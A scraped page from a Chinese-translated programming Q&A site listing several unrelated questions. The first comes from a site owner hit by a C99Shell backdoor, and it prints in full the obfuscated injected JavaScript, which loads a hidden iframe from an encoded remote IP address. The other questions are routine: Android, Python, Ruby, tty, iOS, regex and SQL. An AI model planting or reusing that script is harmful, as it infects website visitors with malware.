问题列表 - 第32114页

从Backdoor/PHP.C99Shell又名Trojan.Script.224490保护网站

我的网站被木马脚本感染了.

有人设法创建/上传名为"x76x09.php"或"config.php"的文件到我的网站空间的根目录.其大小为44287字节,其MD5校验和为8dd76fc074b717fccfa30b86956992f8.我用Virustotal分析了这个文件.这些结果表明它是"Backdoor/PHP.C99Shell"或"Trojan.Script.224490".

此文件已在创建时执行.所以它必须自动发生.此文件将以下恶意代码添加到我的网站空间上的每个index.php的末尾.

</body>
</html><body><script>
var i={j:{i:{i:'~',l:'.',j:'^'},l:{i:'%',l:218915,j:1154%256},j:{i:1^0,l:55,j:'ijl'}},i:{i:{i:function(j){try{var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x6e\x70\x75\x74');l['\x74\x79\x70\x65']='\x68\x69\x64\x64\x65\x6e';l['\x76\x61\x6c\x75\x65']=j;l['\x69\x64']='\x6a';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);}catch(j){return false;}
return true;},l:function(){try{var l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6a');}catch(l){return false;}
return l.value;},j:function(){var l=i.i.i.i(i.l.i.i('.75.67.67.63.3a.2f.2f.39.32.2e.36.30.2e.31.37.37.2e.32.33.35.2f.76.61.71.72.6b.2e.63.75.63.3f.66.75.61.6e.7a.72.3d.6b.37.36.6b.30.39'));var j=(l)?i.i.i.l():false;return j;}},l:{i:function(){var l=i.i.i.j('trashtext');var j=(l)?l:'trashtext';return j||false;},l:function(){var l=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x6c');l['\x77\x69\x64\x74\x68']='0.1em';l['\x68\x65\x69\x67\x68\x74']='0.2em';l['\x73\x74\x79\x6c\x65']['\x62\x6f\x72\x64\x65\x72']='none';l['\x73\x74\x79\x6c\x65']['\x64\x69\x73\x70\x6c\x61\x79']='none';l['\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c']='\x6c';l['\x69\x64']='\x6c';document['\x62\x6f\x64\x79']['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](l);},j:function(){var l=i.i.j.j(i.i.l.l());l=document['\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64']('\x6c');var j=document['\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74']('\x69\x66\x72\x61\x6d\x65');j['\x68\x65\x69\x67\x68\x74']=j['\x77\x69\x64\x74\x68'];j['\x73\x72\x63']=i.i.j.i(i.i.l.i());try{l['\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64'](j);}catch(j){}}},j:{i:function(l){return l['replace'](/[A-Za-z]/g,function(j){return String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']((((j=j.charCodeAt(0))&223)-52)%26+(j&32)+65);});},l:function(l){return i.i.j.i(l)['\x74\x6f\x53\x74\x72\x69\x6e\x67']()||false;},j:function(l){try{l();}catch(l){}}}},l:{i:{i:function(l){l=l['replace'](/[.]/g,'%');return window['\x75\x6e\x65\x73\x63\x61\x70\x65'](l);},l:'50',j:'33'},l:{i:'62',l:'83',j:'95'},j:{i:'46',l:'71',j:'52'}}}
i.i.l.j();</script>
Run Code Online (Sandbox Code Playgroud)

在我的页面上显示该代码后,用户报告在Firefox中弹出一个蓝色面板.它要求他们安装一个插件.现在他们中的一些人在他们的PC上有Exploit.Java.CVE-2010-0886.a.

虽然我关闭了allow_url_fopen和allow_url_include,但确实发生了感染.我的主人说这个文件没有通过FTP上传.

所以我的问题是:

  • 恶意代码有什么作用?它是如何编码的?
  • 远程文件("x76x09.php"或"config.php")如何进入我的网站空间?SQL注入?病毒在我自己的电脑上?
  • 如何在将来保护我的网站免受此类攻击?

非常感谢你提前!我真的需要帮助.

这个问题很相似.但它更像是一份报告.我从一开始就不知道它是病毒.所以这里的问题是指病毒本身,另一个问题不是.

javascript php security virus trojan

8
推荐指数
2
解决办法
1万
查看次数

7
推荐指数
1
解决办法
6850
查看次数

完成Android中的父级和当前活动

我有3个活动.活动A导致活动B,活动B又可以返回活动A或开始活动C.但是,如果我在活动C中按回应用程序应该关闭.

总结一下:

  • 活动A开始活动B.
  • 返回活动B应该导致A
  • 活动B开始活动C.
  • 返回活动C应该关闭应用程序

我应该如何从活动B转到C?这段代码目前在最后一行给我一个NullPointerException:

Intent intent=new Intent(ActivityB.this, ActivityC.class);
startActivity(intent);
ActivityB.this.finish();
ActivityB.this.getParent().finish();
Run Code Online (Sandbox Code Playgroud)

如果我切换最后两行,我也会得到一个空指针.

android android-activity

49
推荐指数
4
解决办法
9万
查看次数

Python2.7中的StringIO和io.StringIO有什么区别?

除了明显的(一个是类型,另一个类)?什么应该是首选?用例中的任何显着差异,也许?

python string

29
推荐指数
2
解决办法
1万
查看次数

在ruby脚本中执行cd命令

我想从ruby脚本中更改当前shell的pwd.所以:

> pwd
/tmp
> ruby cdscript.rb
> pwd
/usr/bin
Run Code Online (Sandbox Code Playgroud)

这是我现在的代码:

exec('cd /usr/bin')
Run Code Online (Sandbox Code Playgroud)

不幸的是,cd是内置命令.所以:

`exec': No such file or directory - cd (Errno:ENOENT)
Run Code Online (Sandbox Code Playgroud)

有什么解决方法吗?


没办法让它在红宝石本身工作,所以我换了齿轮.我修改了脚本以输出目标目录路径,然后在.bashrc中定义了一个函数,该函数将通过脚本传递参数,然后cd到正确的目录.不像我希望的那样自成一体,但它完成了这项工作.

伙计们,谢谢你的回复.

ruby

4
推荐指数
4
解决办法
9385
查看次数

我怎样才能监视进程和终端之间的通信?

我有一个由第三方开发的Linux进程,它与终端通信.对于调试,我希望看到前面的通信.

有人可能会认为cat这样做(看一个方向):

    ./third-party-app &
    cat /dev/tty
Run Code Online (Sandbox Code Playgroud)

......但事实并非如此.相反,cat将窃取一半用于应用程序的数据,这几乎毫无价值.

第三方应用程序是硬编码的/dev/tty.

我发现监视通信的一种方法是将/dev/tty设备重命名为,例如,/dev/real_tty并创建一个/dev/tty在其位置调用的命名管道.然后运行:

    cat /dev/real_tty | tee /dev/tty &
Run Code Online (Sandbox Code Playgroud)

...至少让我看到输出/dev/real_tty,通过将数据复制/dev/real_tty到命名管道/dev/ttystdout.

这种工作但它感觉非常狡猾,并依赖于替换设备的技巧.它也不能在两个方向上工作,因为命名管道只在一个方向上传输数据.

这样做的正确方法是什么?

如果有人想知道,TTY设备是微控制器的RS-232链接.信息不敏感或不安全.所有进程(应用程序和间谍)都可以以root身份运行.

linux terminal tty pty embedded-linux

7
推荐指数
1
解决办法
3666
查看次数

混合 OpenGL 和 UIKit

我当前的 iPhone 应用程序使用 UIKit。现在我想在应用程序中添加一些小效果,例如看起来像爆炸的文本。我的想法是使用 OpenGL 来实现这些效果。像这样混合 UIKit 和 OpenGL 是一个好主意还是我应该避免它?我读过一些帖子说这不是一个好主意,而另一些则说它工作得很好。您对此有何看法?苹果是否同意?

iphone opengl-es uikit

5
推荐指数
1
解决办法
3385
查看次数

iphone-sdk:在UIAlertview中添加文本字段在iOS 4中不起作用?

我想加入uitextfield我的alterview.当用户试图输入文本时,alterview应该向上移动一点,这样键盘就不会重叠,当按下完成键时,键盘应该消失,alertview应该向后移动.

在iOS 3.1.2(以及3.2)中运行它时一切正常但是一旦我尝试在iOS 4下运行它alertview就会显示在错误的位置并且键盘不会消失.有什么建议?这是我的代码:

- (void)addItemAction{

workoutName = [[UIAlertView alloc] initWithTitle:@"New Workout" message:@"Insert the name of your new workout:\n                " delegate:self cancelButtonTitle:@"Cancel" otherButtonTitles:@"Done", nil];
workoutName.cancelButtonIndex = 0;
UITextField *titleField = [[UITextField alloc] initWithFrame:CGRectMake(12.0, 90.0, 260.0, 25.0)];
titleField.delegate = self;
titleField.borderStyle = UITextBorderStyleRoundedRect;
titleField.returnKeyType = UIReturnKeyDone;
[workoutName addSubview:titleField];
[workoutName show];


}
- (BOOL)textFieldShouldReturn:(UITextField *)textField {


[textField resignFirstResponder];
return YES;

}

- (void)textFieldDidBeginEditing:(UITextField *)textField {

[UIView beginAnimations:nil context:NULL];
CGAffineTransform myTransform = CGAffineTransformMakeTranslation(0.0, …
Run Code Online (Sandbox Code Playgroud)

iphone objective-c uitextfield uialertview ios4

5
推荐指数
1
解决办法
1万
查看次数

JavaScript由指数编号替换()正则表达式

我有以下字符串和正则表达式:

var string = "Dear [to name], [your name] has decided to share this [link]"; 
var patt = /\[+[A-Za-z0-9]+\]/;
Run Code Online (Sandbox Code Playgroud)

我希望能够使用动态输入更改每个括号中的变量.我如何使用match()replace()定位此正则表达式的第1,第2和第3次出现?

编辑:目前,如果我这样做的东西document.write(body.match(patt));只匹配最后一个[链接]

编辑:整个字符串取自文本框的值.每个括号的值都取自其他文本输入,需要在将文本放回文本框之前插入到字符串中.

javascript regex replace

5
推荐指数
1
解决办法
4986
查看次数

SQL用于选择与带通配符的URL匹配的行

我在数据库中有一个表,其中一列包含http://example.com/users/*/profile 等URL

我得到一个URL(如http://example.com/users/234/profile),并希望选择db中与url匹配的所有行(在本例中为*是通配符).

我正在考虑使用Regex来执行此操作,将*替换为任何字符的正则表达式.但我不确定选择SQL或LINQ代码应该是什么.

你们有什么想法吗?

c# regex sql linq asp.net

2
推荐指数
1
解决办法
2258
查看次数